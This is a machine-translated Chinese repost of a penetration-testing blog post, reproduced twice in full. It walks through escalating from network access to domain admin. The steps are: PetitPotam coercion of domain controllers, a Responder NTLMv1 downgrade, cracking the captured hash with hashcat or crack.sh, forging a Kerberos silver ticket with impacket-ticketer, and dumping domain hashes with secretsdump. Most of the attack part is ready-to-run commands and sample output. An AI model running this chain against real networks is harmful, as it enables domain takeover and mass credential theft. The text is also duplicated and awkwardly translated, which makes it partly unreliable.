译文 | Petit Potam 到域管理员
2022-2-22 09:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:19 收藏

相关阅读:

全补丁域控30秒沦陷?加密降级

全补丁域森林5秒沦陷?加密升级之信任雪崩

前言

以不同的方式利用 Petit Potam 来强制进行一些降级和协议攻击。

我想通过调用来开始这篇文章@NotMedic并告诉全世界他是一个对协议攻击非常了解的巫师。这篇文章采用了他所做的工作NetNTLMtoSilverTicket并添加一个不同的 Petit Potam 初始向量。

什么是PETIT POTAM?

PETIT POTAM是一种通过滥用 Microsoft 的加密文件系统远程协议 (MS-EFSRPC) 来利用 NTLM 中继的工具/攻击。本质上,可以强制目标主机针对攻击者控制的主机进行身份验证。这部分对攻击很重要,因为如果所有部分都到位,我们基本上可以很快地从网络级访问到域管理员。

NetNTLMtoSilverTicket

NetNTLMtoSilverTicket 是由蒂姆·麦格芬这需要几个步骤来从本质上获取 NetNTLM 哈希并通过几个步骤使用它创建银票,包括将哈希破解回 NTLM 格式,然后创建银票。下面的步骤将从 Tim 的 repo 中获取大量输入,并扩展命令以及该过程如何快速从零到 hax。

结合两者

第一步是获取我们想要定位的主机列表,因为我们针对的是域管理员,通常我会针对域控制器,这可以通过以下两个命令中的任何一个来获取所有 DC :

nslookup domain.com
nslookup -type=srv _ldap._tcp.dc._msdcs.<domain>.com

这将为您提供域控制器主机名和 IP 地址的列表,我喜欢将 IP 解析到一个文件中并为 petitpotam 准备它们。

接下来,我们将要编辑挑战响应者所以挑战在于1122334455667788这将使将 NTLMv1 哈希破解回 NTLM 哈希变得更容易。响应者配置文件位于默认位置/etc/responder/responder.conf.

使用标志启动响应--lm程序以执行 LM 降级(又名强制 NTLMv1):

responder -I eth0 --lm

一旦响应程序运行,我们就可以继续对域控制器(或者如果您想尝试所有这些控制器!)进行强制和身份验证。

对于一个目标,只需运行以下命令,它将尝试利用 petitpotam 并强制进行身份验证。

python3 PetitPotam.py LISTENERIP TARGETIP

或者,如果您感到混乱,请将所有 DC 放入一个文本文件中,每行一个,然后运行以下单行:

for dc in $(<DCs.txt); do python3 PetitPotam.py LISTENERIP $dcdone

这将加载到一个名为 DCs.txt 的文本文件中,并遍历每个执行并尝试强制身份验证的文件。如果我们成功,您将开始在 Responder 中看到身份验证,如下所示:

img

示例响应应如下所示:

[SMB] NTLMv1 Client   : 10.3.3.7
[SMB] NTLMv1 Username : DOMAIN\DC01$
[SMB] NTLMv1 Hash     : DC01$::DOMAIN:F35A3FE17DCB31F9FE8A8114B3F310C150BRB36195554862:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788

使用 NTLMv1 哈希,我们现在可以利用 EvilMog 的NTLMv1 多工具获取我们想要的输出:

python3 ntlmv1.py --ntlmv1 DC01$::DOMAIN:F35A3FE17DCB31F9FE8A8114B3F310C150BRB36195554862:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788

然后,这将以各种形式输出哈希,以允许使用彩虹表或 hashcat 将其破解回 NTLM:

['DC01$''''DOMAIN''F35A3FE17DCB31F9FE8A8114B3F310C150BRB36195554862''F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972''1122334455667788']

Hostname: DOMAIN
Username: DC01$
Challenge: 1122334455667788
LM Response: F35A3FE17DCB31F9FE8A8114B3F310C150BRB36195554862
NT Response: F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972
CT1: F35A3FE17DCB31F9
CT2: FE8A8114B3F310C1
CT3: 50BRB36195554862

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin 50BRB36195554862 1122334455667788

To crack with hashcat create a file with the following contents:
F35A3FE17DCB31F9:1122334455667788
FE8A8114B3F310C1:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972

从这里开始,最快的选择是获取crack.sh 的令牌并将其放入彩虹表中以破解它,因为即使使用RTX3090,DES 密钥速度也需要一点时间!

img

根据crack.sh 的排队情况,这不应该花费太长时间,在本例中,哈希需要32 秒,它会自动通过电子邮件向您发送令牌和密钥。关键值将是我们的 NTLM 哈希,我们需要它来创建下一位来创建银票。

img

创建银色 KERBEROS 票证

现在您已经获得了 NTLM 哈希,您将需要更多信息来创建银票。你还需要冲击波)它预装在 Kali 中,也可以使用pip install impacket.

  • 您要访问的服务的 SPN,CIFS 用于此示例,因为它授予 psexec 和我发现 SecretsDump 访问权限,这是我们追求域管理员的理想选择!(对于服务,最常见的是cifs/它映射回主机/服务)
  • 域 SID - 任何用户都可以找到它,只需剪辑 RID 的最后一个块供用户获取。
  • 域用户 ID - 您要创建票证的用户,我在此示例中选择了 500,因为这通常Administrator是域中的用户。(总是检查什么值,因为不能总是假设它会是 500!)
  • 具有本地管理员访问权限的帐户名称 - 您希望在之后调用票证的任何帐户
  • 组 SID - 您希望票证继承的任何组,注意:域管理员默认为 512,因此在本示例中使用了它。
impacket-ticketer -nthash <NTLM Hashvalue> -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMAIN.COM -spn cifs/SERVER.DOMAIN.COM -user-id 500 -groups 512 Administrator

这将在您ccache所在的目录中生成一个文件,接下来我们要将KRB5CCNAME值设置为该文件。

export KRB5CCNAME=/root/SilverPotam/Administrator.ccache

现在要测试 ccache 文件是否有效,请向我们窃取 NTLMv1 的机器进行身份验证:

impacket-smbclient -k //DC01.DOMAIN.COM/c$ -d

由于机器是域控制器,我们可以使用机器帐户进行身份验证并使用以下内容启动秘密转储:

impacket-secretsdump -k DC01.domain.com -just-dc-ntlm -outfile out.txt

如果成功,您应该看到 Target System bootkey:后面跟着秘密转储做它的事情!

img
img

正如我在这篇博文开头所说,如果没有以下人员的投入和帮助,这将是不可能的非医学以及他之前的工作NetNTLMtoSilverTicket. 谢谢也出去大卫·赫尔顿用于创建crack.sh 的Toorcon!

感谢阅读的人!

域管理员追逐银色小波塔姆

前言

以不同的方式利用 Petit Potam 来强制进行一些降级和协议攻击。

最新的帖子向域管理员追逐银色小波塔姆通过安迪吉尔

我想通过调用来开始这篇文章@NotMedic并告诉全世界他是一个对协议攻击非常了解的巫师。这篇文章采用了他所做的工作NetNTLMtoSilverTicket并添加一个不同的 Petit Potam 初始向量。

什么是PETIT POTAM?

PETIT POTAM是一种通过滥用 Microsoft 的加密文件系统远程协议 (MS-EFSRPC) 来利用 NTLM 中继的工具/攻击。本质上,可以强制目标主机针对攻击者控制的主机进行身份验证。这部分对攻击很重要,因为如果所有部分都到位,我们基本上可以很快地从网络级访问到域管理员。

什么是**NetNTLMtoSilverTicket?**

NetNTLMtoSilverTicket 是由蒂姆·麦格芬这需要几个步骤来从本质上获取 NetNTLM 哈希并通过几个步骤使用它创建银票,包括将哈希破解回 NTLM 格式,然后创建银票。下面的步骤将从 Tim 的 repo 中获取大量输入,并扩展命令以及该过程如何快速从零到 hax。

结合两者

第一步是获取我们想要定位的主机列表,因为我们针对的是域管理员,通常我会针对域控制器,这可以通过以下两个命令中的任何一个来获取所有 DC :

nslookup domain.com
nslookup -type=srv _ldap._tcp.dc._msdcs.<domain>.com

这将为您提供域控制器主机名和 IP 地址的列表,我喜欢将 IP 解析到一个文件中并为 petitpotam 准备它们。

接下来,我们将要编辑挑战响应者所以挑战在于1122334455667788这将使将 NTLMv1 哈希破解回 NTLM 哈希变得更容易。响应者配置文件位于默认位置/etc/responder/responder.conf.

使用标志启动响应--lm程序以执行 LM 降级(又名强制 NTLMv1):

responder -I eth0 --lm

一旦响应程序运行,我们就可以继续对域控制器(或者如果您想尝试所有这些控制器!)进行强制和身份验证。

对于一个目标,只需运行以下命令,它将尝试利用 petitpotam 并强制进行身份验证。

python3 PetitPotam.py LISTENERIP TARGETIP

或者,如果您感到混乱,请将所有 DC 放入一个文本文件中,每行一个,然后运行以下单行:

for dc in $(<DCs.txt); do python3 PetitPotam.py LISTENERIP $dcdone

这将加载到一个名为 DCs.txt 的文本文件中,并遍历每个执行并尝试强制身份验证的文件。如果我们成功,您将开始在 Responder 中看到身份验证,如下所示:

img

示例响应应如下所示:

[SMB] NTLMv1 Client   : 10.3.3.7
[SMB] NTLMv1 Username : DOMAIN\DC01$
[SMB] NTLMv1 Hash     : DC01$::DOMAIN:F35A3FE17DCB31F9FE8A8114B3F310C150BRB36195554862:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788

使用 NTLMv1 哈希,我们现在可以利用 EvilMog 的NTLMv1 多工具获取我们想要的输出:

python3 ntlmv1.py --ntlmv1 DC01$::DOMAIN:F35A3FE17DCB31F9FE8A8114B3F310C150BRB36195554862:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788

然后,这将以各种形式输出哈希,以允许使用彩虹表或 hashcat 将其破解回 NTLM:

['DC01$''''DOMAIN''F35A3FE17DCB31F9FE8A8114B3F310C150BRB36195554862''F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972''1122334455667788']

Hostname: DOMAIN
Username: DC01$
Challenge: 1122334455667788
LM Response: F35A3FE17DCB31F9FE8A8114B3F310C150BRB36195554862
NT Response: F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972
CT1: F35A3FE17DCB31F9
CT2: FE8A8114B3F310C1
CT3: 50BRB36195554862

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin 50BRB36195554862 1122334455667788

To crack with hashcat create a file with the following contents:
F35A3FE17DCB31F9:1122334455667788
FE8A8114B3F310C1:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972

从这里开始,最快的选择是获取crack.sh 的令牌并将其放入彩虹表中以破解它,因为即使使用RTX3090,DES 密钥速度也需要一点时间!

img

根据crack.sh 的排队情况,这不应该花费太长时间,在本例中,哈希需要32 秒,它会自动通过电子邮件向您发送令牌和密钥。关键值将是我们的 NTLM 哈希,我们需要它来创建下一位来创建银票。

img

创建银色 KERBEROS 票证

现在您已经获得了 NTLM 哈希,您将需要更多信息来创建银票。你还需要冲击波)它预装在 Kali 中,也可以使用pip install impacket.

  • 您要访问的服务的 SPN,CIFS 用于此示例,因为它授予 psexec 和我发现 SecretsDump 访问权限,这是我们追求域管理员的理想选择!(对于服务,最常见的是cifs/它映射回主机/服务)
  • 域 SID - 任何用户都可以找到它,只需剪辑 RID 的最后一个块供用户获取。
  • 域用户 ID - 您要创建票证的用户,我在此示例中选择了 500,因为这通常Administrator是域中的用户。(总是检查什么值,因为不能总是假设它会是 500!)
  • 具有本地管理员访问权限的帐户名称 - 您希望在之后调用票证的任何帐户
  • 组 SID - 您希望票证继承的任何组,注意:域管理员默认为 512,因此在本示例中使用了它。
impacket-ticketer -nthash <NTLM Hashvalue> -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMAIN.COM -spn cifs/SERVER.DOMAIN.COM -user-id 500 -groups 512 Administrator

这将在您ccache所在的目录中生成一个文件,接下来我们要将KRB5CCNAME值设置为该文件。

export KRB5CCNAME=/root/SilverPotam/Administrator.ccache

现在要测试 ccache 文件是否有效,请向我们窃取 NTLMv1 的机器进行身份验证:

impacket-smbclient -k //DC01.DOMAIN.COM/c$ -d

由于机器是域控制器,我们可以使用机器帐户进行身份验证并使用以下内容启动秘密转储:

impacket-secretsdump -k DC01.domain.com -just-dc-ntlm -outfile out.txt

如果成功,您应该看到 Target System bootkey:后面跟着秘密转储做它的事情!

img
img

正如我在这篇博文开头所说,如果没有以下人员的投入和帮助,这将是不可能的非医学以及他之前的工作NetNTLMtoSilverTicket. 谢谢也出去大卫·赫尔顿用于创建crack.sh 的Toorcon!

感谢阅读的人!

相关阅读:

全补丁域控30秒沦陷?加密降级

全补丁域森林5秒沦陷?加密升级之信任雪崩


文章来源: http://mp.weixin.qq.com/s?__biz=MzU0MDcyMTMxOQ==&mid=2247485420&idx=1&sn=b85731ae9b02f0c634d0e920cd1b7bd1&chksm=fb35ae24cc422732e03b8d650c048bff5b29b830c26b0a46b38630f017603c1916b9869d8932#rd
如有侵权请联系:admin#unsafe.sh